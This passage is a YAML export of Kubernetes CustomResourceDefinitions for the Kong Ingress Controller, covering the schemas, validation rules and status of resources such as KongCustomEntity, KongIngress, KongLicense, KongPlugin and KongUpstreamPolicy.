      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.16.1
    creationTimestamp: "2025-09-23T09:56:10Z"
    generation: 1
    name: kongcustomentities.configuration.konghq.com
    resourceVersion: "413056"
    uid: 91ed0927-7e35-419c-8264-21d28d5470e7
  spec:
    conversion:
      strategy: None
    group: configuration.konghq.com
    names:
      categories:
      - kong-ingress-controller
      kind: KongCustomEntity
      listKind: KongCustomEntityList
      plural: kongcustomentities
      shortNames:
      - kce
      singular: kongcustomentity
    scope: Namespaced
    versions:
    - additionalPrinterColumns:
      - description: type of the Kong entity
        jsonPath: .spec.type
        name: Entity Type
        type: string
      - description: Age
        jsonPath: .metadata.creationTimestamp
        name: Age
        type: date
      - jsonPath: .status.conditions[?(@.type=="Programmed")].status
        name: Programmed
        type: string
      name: v1alpha1
      schema:
        openAPIV3Schema:
          description: KongCustomEntity defines a "custom" Kong entity that KIC cannot
            support the entity type directly.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              properties:
                controllerName:
                  description: ControllerName specifies the controller that should
                    reconcile it, like ingress class.
                  type: string
                fields:
                  description: Fields defines the fields of the Kong entity itself.
                  x-kubernetes-preserve-unknown-fields: true
                parentRef:
                  description: |-
                    ParentRef references the kubernetes resource it attached to when its scope is "attached".
                    Currently only KongPlugin/KongClusterPlugin allowed. This will make the custom entity to be attached
                    to the entity(service/route/consumer) where the plugin is attached.
                  properties:
                    group:
                      type: string
                    kind:
                      type: string
                    name:
                      type: string
                    namespace:
                      description: Empty namespace means the same namespace of the
                        owning object.
                      type: string
                  required:
                  - name
                  type: object
                type:
                  description: EntityType is the type of the Kong entity. The type
                    is used in generating declarative configuration.
                  type: string
              required:
              - controllerName
              - fields
              - type
              type: object
            status:
              description: Status stores the reconciling status of the resource.
              properties:
                conditions:
                  default:
                  - lastTransitionTime: "1970-01-01T00:00:00Z"
                    message: Waiting for controller
                    reason: Pending
                    status: Unknown
                    type: Programmed
                  description: |-
                    Conditions describe the current conditions of the KongCustomEntityStatus.

                    Known condition types are:

                    * "Programmed"
                  items:
                    description: Condition contains details for one aspect of the
                      current state of this API Resource.
                    properties:
                      lastTransitionTime:
                        description: |-
                          lastTransitionTime is the last time the condition transitioned from one status to another.
                          This should be when the underlying condition changed.  If that is not known, then using the time when the API field changed is acceptable.
                        format: date-time
                        type: string
                      message:
                        description: |-
                          message is a human readable message indicating details about the transition.
                          This may be an empty string.
                        maxLength: 32768
                        type: string
                      observedGeneration:
                        description: |-
                          observedGeneration represents the .metadata.generation that the condition was set based upon.
                          For instance, if .metadata.generation is currently 12, but the .status.conditions[x].observedGeneration is 9, the condition is out of date
                          with respect to the current state of the instance.
                        format: int64
                        minimum: 0
                        type: integer
                      reason:
                        description: |-
                          reason contains a programmatic identifier indicating the reason for the condition's last transition.
                          Producers of specific condition types may define expected values and meanings for this field,
                          and whether the values are considered a guaranteed API.
                          The value should be a CamelCase string.
                          This field may not be empty.
                        maxLength: 1024
                        minLength: 1
                        pattern: ^[A-Za-z]([A-Za-z0-9_,:]*[A-Za-z0-9_])?$
                        type: string
                      status:
                        description: status of the condition, one of True, False,
                          Unknown.
                        enum:
                        - "True"
                        - "False"
                        - Unknown
                        type: string
                      type:
                        description: type of condition in CamelCase or in foo.example.com/CamelCase.
                        maxLength: 316
                        pattern: ^([a-z0-9]([-a-z0-9]*[a-z0-9])?(\.[a-z0-9]([-a-z0-9]*[a-z0-9])?)*/)?(([A-Za-z0-9][-A-Za-z0-9_.]*)?[A-Za-z0-9])$
                        type: string
                    required:
                    - lastTransitionTime
                    - message
                    - reason
                    - status
                    - type
                    type: object
                  maxItems: 8
                  type: array
                  x-kubernetes-list-map-keys:
                  - type
                  x-kubernetes-list-type: map
              required:
              - conditions
              type: object
          required:
          - spec
          type: object
          x-kubernetes-validations:
          - message: The spec.type field is immutable
            rule: self.spec.type == oldSelf.spec.type
          - message: The spec.type field cannot be known Kong entity types
            rule: '!(self.spec.type in [''services'',''routes'',''upstreams'',''targets'',''plugins'',''consumers'',''consumer_groups''])'
      served: true
      storage: true
      subresources:
        status: {}
  status:
    acceptedNames:
      categories:
      - kong-ingress-controller
      kind: KongCustomEntity
      listKind: KongCustomEntityList
      plural: kongcustomentities
      shortNames:
      - kce
      singular: kongcustomentity
    conditions:
    - lastTransitionTime: "2025-09-23T09:56:10Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-23T09:56:10Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1alpha1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.16.1
    creationTimestamp: "2025-09-23T09:56:10Z"
    generation: 1
    name: kongingresses.configuration.konghq.com
    resourceVersion: "413052"
    uid: a0d54315-ee68-4943-bfb2-b422ec909c53
  spec:
    conversion:
      strategy: None
    group: configuration.konghq.com
    names:
      categories:
      - kong-ingress-controller
      kind: KongIngress
      listKind: KongIngressList
      plural: kongingresses
      shortNames:
      - ki
      singular: kongingress
    scope: Namespaced
    versions:
    - name: v1
      schema:
        openAPIV3Schema:
          description: KongIngress is the Schema for the kongingresses API.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            proxy:
              description: |-
                Proxy defines additional connection options for the routes to be configured in the
                Kong Gateway, e.g. `connection_timeout`, `retries`, etc.
              properties:
                connect_timeout:
                  description: "The timeout in milliseconds for\testablishing a connection
                    to the upstream server.\nDeprecated: use Service's \"konghq.com/connect-timeout\"
                    annotation instead."
                  minimum: 0
                  type: integer
                path:
                  description: |-
                    (optional) The path to be used in requests to the upstream server.
                    Deprecated: use Service's "konghq.com/path" annotation instead.
                  pattern: ^/.*$
                  type: string
                protocol:
                  description: |-
                    The protocol used to communicate with the upstream.
                    Deprecated: use Service's "konghq.com/protocol" annotation instead.
                  enum:
                  - http
                  - https
                  - grpc
                  - grpcs
                  - tcp
                  - tls
                  - udp
                  type: string
                read_timeout:
                  description: |-
                    The timeout in milliseconds between two successive read operations
                    for transmitting a request to the upstream server.
                    Deprecated: use Service's "konghq.com/read-timeout" annotation instead.
                  minimum: 0
                  type: integer
                retries:
                  description: |-
                    The number of retries to execute upon failure to proxy.
                    Deprecated: use Service's "konghq.com/retries" annotation instead.
                  minimum: 0
                  type: integer
                write_timeout:
                  description: |-
                    The timeout in milliseconds between two successive write operations
                    for transmitting a request to the upstream server.
                    Deprecated: use Service's "konghq.com/write-timeout" annotation instead.
                  minimum: 0
                  type: integer
              type: object
            route:
              description: |-
                Route define rules to match client requests.
                Each Route is associated with a Service,
                and a Service may have multiple Routes associated to it.
              properties:
                headers:
                  additionalProperties:
                    items:
                      type: string
                    type: array
                  description: |-
                    Headers contains one or more lists of values indexed by header name
                    that will cause this Route to match if present in the request.
                    The Host header cannot be used with this attribute.
                    Deprecated: use Ingress' "konghq.com/headers" annotation instead.
                  type: object
                https_redirect_status_code:
                  description: |-
                    HTTPSRedirectStatusCode is the status code Kong responds with
                    when all properties of a Route match except the protocol.
                    Deprecated: use Ingress' "ingress.kubernetes.io/force-ssl-redirect" or
                    "konghq.com/https-redirect-status-code" annotations instead.
                  type: integer
                methods:
                  description: |-
                    Methods is a list of HTTP methods that match this Route.
                    Deprecated: use Ingress' "konghq.com/methods" annotation instead.
                  items:
                    type: string
                  type: array
                path_handling:
                  description: |-
                    PathHandling controls how the Service path, Route path and requested path
                    are combined when sending a request to the upstream.
                    Deprecated: use Ingress' "konghq.com/path-handling" annotation instead.
                  enum:
                  - v0
                  - v1
                  type: string
                preserve_host:
                  description: |-
                    PreserveHost sets When matching a Route via one of the hosts domain names,
                    use the request Host header in the upstream request headers.
                    If set to false, the upstream Host header will be that of the Service’s host.
                    Deprecated: use Ingress' "konghq.com/preserve-host" annotation instead.
                  type: boolean
                protocols:
                  description: |-
                    Protocols is an array of the protocols this Route should allow.
                    Deprecated: use Ingress' "konghq.com/protocols" annotation instead.
                  items:
                    description: |-
                      KongProtocol is a valid Kong protocol.
                      This alias is necessary to deal with https://github.com/kubernetes-sigs/controller-tools/issues/342
                    enum:
                    - http
                    - https
                    - grpc
                    - grpcs
                    - tcp
                    - tls
                    - udp
                    type: string
                  type: array
                regex_priority:
                  description: |-
                    RegexPriority is a number used to choose which route resolves a given request
                    when several routes match it using regexes simultaneously.
                    Deprecated: use Ingress' "konghq.com/regex-priority" annotation instead.
                  type: integer
                request_buffering:
                  description: |-
                    RequestBuffering sets whether to enable request body buffering or not.
                    Deprecated: use Ingress' "konghq.com/request-buffering" annotation instead.
                  type: boolean
                response_buffering:
                  description: |-
                    ResponseBuffering sets whether to enable response body buffering or not.
                    Deprecated: use Ingress' "konghq.com/response-buffering" annotation instead.
                  type: boolean
                snis:
                  description: |-
                    SNIs is a list of SNIs that match this Route when using stream routing.
                    Deprecated: use Ingress' "konghq.com/snis" annotation instead.
                  items:
                    type: string
                  type: array
                strip_path:
                  description: |-
                    StripPath sets When matching a Route via one of the paths
                    strip the matching prefix from the upstream request URL.
                    Deprecated: use Ingress' "konghq.com/strip-path" annotation instead.
                  type: boolean
              type: object
            upstream:
              description: |-
                Upstream represents a virtual hostname and can be used to loadbalance
                incoming requests over multiple targets (e.g. Kubernetes `Services` can
                be a target, OR `Endpoints` can be targets).
              properties:
                algorithm:
                  description: |-
                    Algorithm is the load balancing algorithm to use.
                    Accepted values are: "round-robin", "consistent-hashing", "least-connections", "latency".
                  enum:
                  - round-robin
                  - consistent-hashing
                  - least-connections
                  - latency
                  type: string
                hash_fallback:
                  description: |-
                    HashFallback defines What to use as hashing input
                    if the primary hash_on does not return a hash.
                    Accepted values are: "none", "consumer", "ip", "header", "cookie".
                  type: string
                hash_fallback_header:
                  description: |-
                    HashFallbackHeader is the header name to take the value from as hash input.
                    Only required when "hash_fallback" is set to "header".
                  type: string
                hash_fallback_query_arg:
                  description: HashFallbackQueryArg is the "hash_fallback" version
                    of HashOnQueryArg.
                  type: string
                hash_fallback_uri_capture:
                  description: HashFallbackURICapture is the "hash_fallback" version
                    of HashOnURICapture.
                  type: string
                hash_on:
                  description: |-
                    HashOn defines what to use as hashing input.
                    Accepted values are: "none", "consumer", "ip", "header", "cookie", "path", "query_arg", "uri_capture".
                  type: string
                hash_on_cookie:
                  description: |-
                    The cookie name to take the value from as hash input.
                    Only required when "hash_on" or "hash_fallback" is set to "cookie".
                  type: string
                hash_on_cookie_path:
                  description: |-
                    The cookie path to set in the response headers.
                    Only required when "hash_on" or "hash_fallback" is set to "cookie".
                  type: string
                hash_on_header:
                  description: |-
                    HashOnHeader defines the header name to take the value from as hash input.
                    Only required when "hash_on" is set to "header".
                  type: string
                hash_on_query_arg:
                  description: HashOnQueryArg is the query string parameter whose
                    value is the hash input when "hash_on" is set to "query_arg".
                  type: string
                hash_on_uri_capture:
                  description: |-
                    HashOnURICapture is the name of the capture group whose value is the hash input when "hash_on" is set to
                    "uri_capture".
                  type: string
                healthchecks:
                  description: Healthchecks defines the health check configurations
                    in Kong.
                  properties:
                    active:
                      description: ActiveHealthcheck configures active health check
                        probing.
                      properties:
                        concurrency:
                          minimum: 1
                          type: integer
                        headers:
                          additionalProperties:
                            items:
                              type: string
                            type: array
                          type: object
                        healthy:
                          description: |-
                            Healthy configures thresholds and HTTP status codes
                            to mark targets healthy for an upstream.
                          properties:
                            http_statuses:
                              items:
                                type: integer
                              type: array
                            interval:
                              minimum: 0
                              type: integer
                            successes:
                              minimum: 0
                              type: integer
                          type: object
                        http_path:
                          pattern: ^/.*$
                          type: string
                        https_sni:
                          type: string
                        https_verify_certificate:
                          type: boolean
                        timeout:
                          minimum: 0
                          type: integer
                        type:
                          type: string
                        unhealthy:
                          description: |-
                            Unhealthy configures thresholds and HTTP status codes
                            to mark targets unhealthy.
                          properties:
                            http_failures:
                              minimum: 0
                              type: integer
                            http_statuses:
                              items:
                                type: integer
                              type: array
                            interval:
                              minimum: 0
                              type: integer
                            tcp_failures:
                              minimum: 0
                              type: integer
                            timeouts:
                              minimum: 0
                              type: integer
                          type: object
                      type: object
                    passive:
                      description: |-
                        PassiveHealthcheck configures passive checks around
                        passive health checks.
                      properties:
                        healthy:
                          description: |-
                            Healthy configures thresholds and HTTP status codes
                            to mark targets healthy for an upstream.
                          properties:
                            http_statuses:
                              items:
                                type: integer
                              type: array
                            interval:
                              minimum: 0
                              type: integer
                            successes:
                              minimum: 0
                              type: integer
                          type: object
                        type:
                          type: string
                        unhealthy:
                          description: |-
                            Unhealthy configures thresholds and HTTP status codes
                            to mark targets unhealthy.
                          properties:
                            http_failures:
                              minimum: 0
                              type: integer
                            http_statuses:
                              items:
                                type: integer
                              type: array
                            interval:
                              minimum: 0
                              type: integer
                            tcp_failures:
                              minimum: 0
                              type: integer
                            timeouts:
                              minimum: 0
                              type: integer
                          type: object
                      type: object
                    threshold:
                      type: number
                  type: object
                host_header:
                  description: |-
                    HostHeader is The hostname to be used as Host header
                    when proxying requests through Kong.
                  type: string
                slots:
                  description: Slots is the number of slots in the load balancer algorithm.
                  minimum: 10
                  type: integer
              type: object
          type: object
          x-kubernetes-validations:
          - message: '''proxy'' field is no longer supported, use Service''s annotations
              instead'
            rule: '!has(self.proxy)'
          - message: '''route'' field is no longer supported, use Ingress'' annotations
              instead'
            rule: '!has(self.route)'
      served: true
      storage: true
      subresources:
        status: {}
  status:
    acceptedNames:
      categories:
      - kong-ingress-controller
      kind: KongIngress
      listKind: KongIngressList
      plural: kongingresses
      shortNames:
      - ki
      singular: kongingress
    conditions:
    - lastTransitionTime: "2025-09-23T09:56:10Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-23T09:56:10Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.16.1
    creationTimestamp: "2025-09-23T09:56:10Z"
    generation: 1
    name: konglicenses.configuration.konghq.com
    resourceVersion: "413049"
    uid: 034f65a5-7536-44ef-a28f-c3c2e086eb14
  spec:
    conversion:
      strategy: None
    group: configuration.konghq.com
    names:
      categories:
      - kong-ingress-controller
      kind: KongLicense
      listKind: KongLicenseList
      plural: konglicenses
      shortNames:
      - kl
      singular: konglicense
    scope: Cluster
    versions:
    - additionalPrinterColumns:
      - description: Age
        jsonPath: .metadata.creationTimestamp
        name: Age
        type: date
      - description: Enabled to configure on Kong gateway instances
        jsonPath: .enabled
        name: Enabled
        type: boolean
      name: v1alpha1
      schema:
        openAPIV3Schema:
          description: KongLicense stores a Kong enterprise license to apply to managed
            Kong gateway instances.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            enabled:
              default: true
              description: |-
                Enabled is set to true to let controllers (like KIC or KGO) to reconcile it.
                Default value is true to apply the license by default.
              type: boolean
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            rawLicenseString:
              description: RawLicenseString is a string with the raw content of the
                license.
              type: string
            status:
              description: Status is the status of the KongLicense being processed
                by controllers.
              properties:
                controllers:
                  items:
                    description: |-
                      KongLicenseControllerStatus is the status of owning KongLicense being processed
                      identified by the controllerName field.
                    properties:
                      conditions:
                        default:
                        - lastTransitionTime: "1970-01-01T00:00:00Z"
                          message: Waiting for controller
                          reason: Pending
                          status: Unknown
                          type: Programmed
                        description: Conditions describe the current conditions of
                          the KongLicense on the controller.
                        items:
                          description: Condition contains details for one aspect of
                            the current state of this API Resource.
                          properties:
                            lastTransitionTime:
                              description: |-
                                lastTransitionTime is the last time the condition transitioned from one status to another.
                                This should be when the underlying condition changed.  If that is not known, then using the time when the API field changed is acceptable.
                              format: date-time
                              type: string
                            message:
                              description: |-
                                message is a human readable message indicating details about the transition.
                                This may be an empty string.
                              maxLength: 32768
                              type: string
                            observedGeneration:
                              description: |-
                                observedGeneration represents the .metadata.generation that the condition was set based upon.
                                For instance, if .metadata.generation is currently 12, but the .status.conditions[x].observedGeneration is 9, the condition is out of date
                                with respect to the current state of the instance.
                              format: int64
                              minimum: 0
                              type: integer
                            reason:
                              description: |-
                                reason contains a programmatic identifier indicating the reason for the condition's last transition.
                                Producers of specific condition types may define expected values and meanings for this field,
                                and whether the values are considered a guaranteed API.
                                The value should be a CamelCase string.
                                This field may not be empty.
                              maxLength: 1024
                              minLength: 1
                              pattern: ^[A-Za-z]([A-Za-z0-9_,:]*[A-Za-z0-9_])?$
                              type: string
                            status:
                              description: status of the condition, one of True, False,
                                Unknown.
                              enum:
                              - "True"
                              - "False"
                              - Unknown
                              type: string
                            type:
                              description: type of condition in CamelCase or in foo.example.com/CamelCase.
                              maxLength: 316
                              pattern: ^([a-z0-9]([-a-z0-9]*[a-z0-9])?(\.[a-z0-9]([-a-z0-9]*[a-z0-9])?)*/)?(([A-Za-z0-9][-A-Za-z0-9_.]*)?[A-Za-z0-9])$
                              type: string
                          required:
                          - lastTransitionTime
                          - message
                          - reason
                          - status
                          - type
                          type: object
                        maxItems: 8
                        type: array
                        x-kubernetes-list-map-keys:
                        - type
                        x-kubernetes-list-type: map
                      controllerName:
                        description: |-
                          ControllerName is an identifier of the controller to reconcile this KongLicense.
                          Should be unique in the list of controller statuses.
                        type: string
                      controllerRef:
                        description: |-
                          ControllerRef is the reference of the controller to reconcile this KongLicense.
                          It is usually the name of (KIC/KGO) pod that reconciles it.
                        properties:
                          group:
                            description: |-
                              Group is the group of referent.
                              It should be empty if the referent is in "core" group (like pod).
                            maxLength: 253
                            pattern: ^$|^[a-z0-9]([-a-z0-9]*[a-z0-9])?(\.[a-z0-9]([-a-z0-9]*[a-z0-9])?)*$
                            type: string
                          kind:
                            description: |-
                              Kind is the kind of the referent.
                              By default the nil kind means kind Pod.
                            maxLength: 63
                            minLength: 1
                            pattern: ^[a-zA-Z]([-a-zA-Z0-9]*[a-zA-Z0-9])?$
                            type: string
                          name:
                            description: Name is the name of the referent.
                            maxLength: 253
                            minLength: 1
                            type: string
                          namespace:
                            description: |-
                              Namespace is the namespace of the referent.
                              It should be empty if the referent is cluster scoped.
                            maxLength: 63
                            minLength: 1
                            pattern: ^[a-z0-9]([-a-z0-9]*[a-z0-9])?$
                            type: string
                        required:
                        - name
                        type: object
                    required:
                    - controllerName
                    type: object
                  type: array
                  x-kubernetes-list-map-keys:
                  - controllerName
                  x-kubernetes-list-type: map
              type: object
          required:
          - enabled
          - rawLicenseString
          type: object
      served: true
      storage: true
      subresources:
        status: {}
  status:
    acceptedNames:
      categories:
      - kong-ingress-controller
      kind: KongLicense
      listKind: KongLicenseList
      plural: konglicenses
      shortNames:
      - kl
      singular: konglicense
    conditions:
    - lastTransitionTime: "2025-09-23T09:56:10Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-23T09:56:10Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1alpha1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.16.1
    creationTimestamp: "2025-09-23T09:56:10Z"
    generation: 1
    name: kongplugins.configuration.konghq.com
    resourceVersion: "413047"
    uid: 20c49bee-8fbb-4036-9ae0-958633b9a54f
  spec:
    conversion:
      strategy: None
    group: configuration.konghq.com
    names:
      categories:
      - kong-ingress-controller
      kind: KongPlugin
      listKind: KongPluginList
      plural: kongplugins
      shortNames:
      - kp
      singular: kongplugin
    scope: Namespaced
    versions:
    - additionalPrinterColumns:
      - description: Name of the plugin
        jsonPath: .plugin
        name: Plugin-Type
        type: string
      - description: Age
        jsonPath: .metadata.creationTimestamp
        name: Age
        type: date
      - description: Indicates if the plugin is disabled
        jsonPath: .disabled
        name: Disabled
        priority: 1
        type: boolean
      - description: Configuration of the plugin
        jsonPath: .config
        name: Config
        priority: 1
        type: string
      - jsonPath: .status.conditions[?(@.type=="Programmed")].status
        name: Programmed
        type: string
      name: v1
      schema:
        openAPIV3Schema:
          description: KongPlugin is the Schema for the kongplugins API.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            config:
              description: |-
                Config contains the plugin configuration. It's a list of keys and values
                required to configure the plugin.
                Please read the documentation of the plugin being configured to set values
                in here. For any plugin in Kong, anything that goes in the `config` JSON
                key in the Admin API request, goes into this property.
                Only one of `config` or `configFrom` may be used in a KongPlugin, not both at once.
              type: object
              x-kubernetes-preserve-unknown-fields: true
            configFrom:
              description: |-
                ConfigFrom references a secret containing the plugin configuration.
                This should be used when the plugin configuration contains sensitive information,
                such as AWS credentials in the Lambda plugin or the client secret in the OIDC plugin.
                Only one of `config` or `configFrom` may be used in a KongPlugin, not both at once.
              properties:
                secretKeyRef:
                  description: Specifies a name and a key of a secret to refer to.
                    The namespace is implicitly set to the one of referring object.
                  properties:
                    key:
                      description: The key containing the value.
                      type: string
                    name:
                      description: The secret containing the key.
                      type: string
                  required:
                  - key
                  - name
                  type: object
              required:
              - secretKeyRef
              type: object
            configPatches:
              description: |-
                ConfigPatches represents JSON patches to the configuration of the plugin.
                Each item means a JSON patch to add something in the configuration,
                where path is specified in `path` and value is in `valueFrom` referencing
                a key in a secret.
                When Config is specified, patches will be applied to the configuration in Config.
                Otherwise, patches will be applied to an empty object.
              items:
                description: |-
                  ConfigPatch is a JSON patch (RFC6902) to add values from Secret to the generated configuration.
                  It is an equivalent of the following patch:
                  `{"op": "add", "path": {.Path}, "value": {.ComputedValueFrom}}`.
                properties:
                  path:
                    description: Path is the JSON-Pointer value (RFC6901) that references
                      a location within the target configuration.
                    type: string
                  valueFrom:
                    description: ValueFrom is the reference to a key of a secret where
                      the patched value comes from.
                    properties:
                      secretKeyRef:
                        description: Specifies a name and a key of a secret to refer
                          to. The namespace is implicitly set to the one of referring
                          object.
                        properties:
                          key:
                            description: The key containing the value.
                            type: string
                          name:
                            description: The secret containing the key.
                            type: string
                        required:
                        - key
                        - name
                        type: object
                    required:
                    - secretKeyRef
                    type: object
                required:
                - path
                - valueFrom
                type: object
              type: array
            consumerRef:
              description: ConsumerRef is a reference to a particular consumer.
              type: string
            disabled:
              description: Disabled set if the plugin is disabled or not.
              type: boolean
            instance_name:
              description: |-
                InstanceName is an optional custom name to identify an instance of the plugin. This is useful when running the
                same plugin in multiple contexts, for example, on multiple services.
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            ordering:
              description: |-
                Ordering overrides the normal plugin execution order. It's only available on Kong Enterprise.
                `<phase>` is a request processing phase (for example, `access` or `body_filter`) and
                `<plugin>` is the name of the plugin that will run before or after the KongPlugin.
                For example, a KongPlugin with `plugin: rate-limiting` and `before.access: ["key-auth"]`
                will create a rate limiting plugin that limits requests _before_ they are authenticated.
              properties:
                after:
                  additionalProperties:
                    items:
                      type: string
                    type: array
                  description: PluginOrderingPhase indicates which plugins in a phase
                    should affect the target plugin's order
                  type: object
                before:
                  additionalProperties:
                    items:
                      type: string
                    type: array
                  description: PluginOrderingPhase indicates which plugins in a phase
                    should affect the target plugin's order
                  type: object
              type: object
            plugin:
              description: PluginName is the name of the plugin to which to apply
                the config.
              type: string
            protocols:
              description: |-
                Protocols configures plugin to run on requests received on specific
                protocols.
              items:
                description: |-
                  KongProtocol is a valid Kong protocol.
                  This alias is necessary to deal with https://github.com/kubernetes-sigs/controller-tools/issues/342
                enum:
                - http
                - https
                - grpc
                - grpcs
                - tcp
                - tls
                - udp
                type: string
              type: array
            run_on:
              description: |-
                RunOn configures the plugin to run on the first or the second or both
                nodes in case of a service mesh deployment.
              enum:
              - first
              - second
              - all
              type: string
            status:
              description: Status represents the current status of the KongPlugin
                resource.
              properties:
                conditions:
                  default:
                  - lastTransitionTime: "1970-01-01T00:00:00Z"
                    message: Waiting for controller
                    reason: Pending
                    status: Unknown
                    type: Programmed
                  description: |-
                    Conditions describe the current conditions of the KongPluginStatus.

                    Known condition types are:

                    * "Programmed"
                  items:
                    description: Condition contains details for one aspect of the
                      current state of this API Resource.
                    properties:
                      lastTransitionTime:
                        description: |-
                          lastTransitionTime is the last time the condition transitioned from one status to another.
                          This should be when the underlying condition changed.  If that is not known, then using the time when the API field changed is acceptable.
                        format: date-time
                        type: string
                      message:
                        description: |-
                          message is a human readable message indicating details about the transition.
                          This may be an empty string.
                        maxLength: 32768
                        type: string
                      observedGeneration:
                        description: |-
                          observedGeneration represents the .metadata.generation that the condition was set based upon.
                          For instance, if .metadata.generation is currently 12, but the .status.conditions[x].observedGeneration is 9, the condition is out of date
                          with respect to the current state of the instance.
                        format: int64
                        minimum: 0
                        type: integer
                      reason:
                        description: |-
                          reason contains a programmatic identifier indicating the reason for the condition's last transition.
                          Producers of specific condition types may define expected values and meanings for this field,
                          and whether the values are considered a guaranteed API.
                          The value should be a CamelCase string.
                          This field may not be empty.
                        maxLength: 1024
                        minLength: 1
                        pattern: ^[A-Za-z]([A-Za-z0-9_,:]*[A-Za-z0-9_])?$
                        type: string
                      status:
                        description: status of the condition, one of True, False,
                          Unknown.
                        enum:
                        - "True"
                        - "False"
                        - Unknown
                        type: string
                      type:
                        description: type of condition in CamelCase or in foo.example.com/CamelCase.
                        maxLength: 316
                        pattern: ^([a-z0-9]([-a-z0-9]*[a-z0-9])?(\.[a-z0-9]([-a-z0-9]*[a-z0-9])?)*/)?(([A-Za-z0-9][-A-Za-z0-9_.]*)?[A-Za-z0-9])$
                        type: string
                    required:
                    - lastTransitionTime
                    - message
                    - reason
                    - status
                    - type
                    type: object
                  maxItems: 8
                  type: array
                  x-kubernetes-list-map-keys:
                  - type
                  x-kubernetes-list-type: map
              type: object
          required:
          - plugin
          type: object
          x-kubernetes-validations:
          - message: Using both config and configFrom fields is not allowed.
            rule: '!(has(self.config) && has(self.configFrom))'
          - message: Using both configFrom and configPatches fields is not allowed.
            rule: '!(has(self.configFrom) && has(self.configPatches))'
          - message: The plugin field is immutable
            rule: self.plugin == oldSelf.plugin
      served: true
      storage: true
      subresources:
        status: {}
  status:
    acceptedNames:
      categories:
      - kong-ingress-controller
      kind: KongPlugin
      listKind: KongPluginList
      plural: kongplugins
      shortNames:
      - kp
      singular: kongplugin
    conditions:
    - lastTransitionTime: "2025-09-23T09:56:10Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-23T09:56:10Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.16.1
    creationTimestamp: "2025-09-23T09:56:10Z"
    generation: 1
    labels:
      gateway.networking.k8s.io/policy: direct
    name: kongupstreampolicies.configuration.konghq.com
    resourceVersion: "413063"
    uid: 021a23ec-22ff-43db-b8f8-ff8deb328e96
  spec:
    conversion:
      strategy: None
    group: configuration.konghq.com
    names:
      categories:
      - kong-ingress-controller
      kind: KongUpstreamPolicy
      listKind: KongUpstreamPolicyList
      plural: kongupstreampolicies
      shortNames:
      - kup
      singular: kongupstreampolicy
    scope: Namespaced
    versions:
    - name: v1beta1
      schema:
        openAPIV3Schema:
          description: |-
            KongUpstreamPolicy allows configuring algorithm that should be used for load balancing traffic between Kong
            Upstream's Targets. It also allows configuring health checks for Kong Upstream's Targets.

            Its configuration is similar to Kong Upstream object (https://docs.konghq.com/gateway/latest/admin-api/#upstream-object),
            and it is applied to Kong Upstream objects created by the controller.

            It can be attached to Services. To attach it to a Service, it has to be annotated with
            `konghq.com/upstream-policy: <name>`, where `<name>` is the name of the KongUpstreamPolicy
            object in the same namespace as the Service.

            When attached to a Service, it will affect all Kong Upstreams created for the Service.

